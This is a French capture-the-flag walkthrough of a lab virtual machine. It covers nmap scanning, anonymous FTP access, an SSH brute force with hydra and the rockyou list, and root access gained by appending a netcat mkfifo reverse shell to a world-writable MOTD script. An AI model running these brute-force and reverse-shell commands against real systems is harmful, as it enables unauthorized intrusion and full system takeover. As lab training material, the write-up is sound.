Catégorie :

Writeup

Informations sur la box :

Ce que nous allons aborder dans ce writeup :


Énumération


Malgré le fait qu’elle soit classée “medium” cette box peut concurrencer celle de mon précédent writeup en terme de rapiditer à la finir.

On commence à avoir l’habitude avec les étapes du début :

nmap -sP 192.168.1.0/24

On obtient l’adresse IP de la machine à attaquer qui est la suivante : 192.168.1.32

On scanne ensuite les ports pour trouver ceux qui sont ouverts avec les services qui tournent dessus :

nmap -sV -p- 192.168.1.32 -O -A --min-rate 5000 -T5

Pour plus d’informations vous pouvez consulter le man de nmap.

On obtient :

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.1.16
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 95:84:46:ae:47:21:d1:73:7d:2f:0a:66:87:98:af:d3 (RSA)
|   256 af:79:86:77:00:59:3e:ee:cf:6e:bb:bc:cb:ad:96:cc (ECDSA)
|_  256 9d:4d:2a:a1:65:d4:f2:bd:5b:25:22:ec:bc:6f:66:97 (EdDSA)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: OneSchool — Website by Colorlib

Le serveur FTP autorise les connexion anonymes. On sait donc qu’il y a de grandes chances de trouver quelque chose d’intéressant dessus.

On s’y connecte avec la commande suivante :

ftp 192.168.1.32

On précise l’utilisateur anonymous et on laisse le champ du mot de passe vide.

Il n’y a qu’un fichier .bash_history qui correspond au fichier dans lequel les commandes entrées par un utilisateur lorsqu’il est sur sa session sont enregistrées. On le récupère via le FTP puis on affiche son contenu

get .bash_history
exit
cat .bash_history
exit
ls
cd /etc/update-motd.d/
ls
nano 00-header
exit

On obtient l’information de l’existence du fichier 00-header contenu dans le répertoire /etc/update-motd.d/. Il s’agit du Message Of The Day (MOTD).

Il est exécuté lorsqu’on se connecte au SSH et contient souvent les informations de la date actuelle et peut être personnalisé.

On se rend du côté du serveur web en lançant notre merveilleux outil fuff :

/opt/ffuf/ffuf -u http://192.168.1.32/FUZZ -w /usr/share/dirb/wordlists/directory-list-2.3-big.txt -e .html,.txt,.php

On a pour résultat des dossiers basiques qui n’ont pas grand intérêt à première vue :

images                  [Status: 301, Size: 313, Words: 20, Lines: 10]
index.html              [Status: 200, Size: 25578, Words: 6731, Lines: 565]
css                     [Status: 301, Size: 310, Words: 20, Lines: 10]
js                      [Status: 301, Size: 309, Words: 20, Lines: 10]
fonts                   [Status: 301, Size: 312, Words: 20, Lines: 10]

On se rend directement sur le site web http://192.168.1.32 et on regarde le code source.

Au début rien puis vers la fin on voit un commentaire plutôt intéressant :

<!-- Username : sysadmin -->

Ok ! On possède déjà un nom d’utilisateur !

J’ai donc continué d’éplucher toutes les pages du serveur web mais rien d’autre a signaler.

J’ai cru que j’étais tombé sur un fichier important à l’adresse http://192.168.1.32/fonts/flaticon/backup.txt mais après décodé le base 64 il s’agissait simplement d’informations liées à une image.


Shell basique

A ce moment nous n’avons qu’un nom d’utilisateur sans mot de passe. Ne serait-ce pas le moment de tenter un brute force du serveur SSH ?

Pour ce faire on utilise hydra avec la commande suivante :

hydra -l sysadmin -P /usr/share/wordlist/rockyou.txt 192.168.1.32 -t 4 ssh -s 22

On indique l’utilisateur que l’on a trouvé précédemment, la wordlist ainsi que le service brute forcer. Dans notre cas SSH sur le port 22.

Après quelques instants un résultat sort :

[22][ssh] host: 192.168.1.32   login: sysadmin   password: password1

On peut donc se connecter en SSH avec les identifiants suivants : sysadmin:password1

On peut directement récupérer le flag user :

cat /home/sysadmin/user.txt
48a365b4ce1e322a55ae9017f3daf0c0

Privilege escalation

On se souvient du fichier qui était dans le FTP : .bash_history
Allons voir les droits du fichier qui contient le motd :

ls -la /etc/update-motd.d/00-header

-rwxrwxrwx 1 root root 1074 Sep  6 08:12 /etc/update-motd.d/00-header

Très bonne nouvelle : on peut le modifier !

Comme dit précédement ce fichier est exécuté en tant que root à chaque fois qu’une session SSH est ouverte.

De ce fait il nous suffit d’y ajouter un reverse shell, de quitter la session et de s’y reconnecter pour obtenir un accès root sur la machine :

echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1 | nc 192.168.1.16 4444 >/tmp/f" >> /etc/update-motd.d/00-header

De notre côté un se met en mode écoute avec nc :

nc -lnvp 4444

On se reconnecte avec SSH et magie ! Nous sommes root.

Il ne nous reste plus qu’à récupérer le dernier flag :

cat /root/flag.txt
1eedddf9fff436e6648b5e51cb0d2ec7

Cette box n’était pas très compliquée mais bien fun à faire :)

Merci à MachineBoy pour avoir créé et partagé cette machine !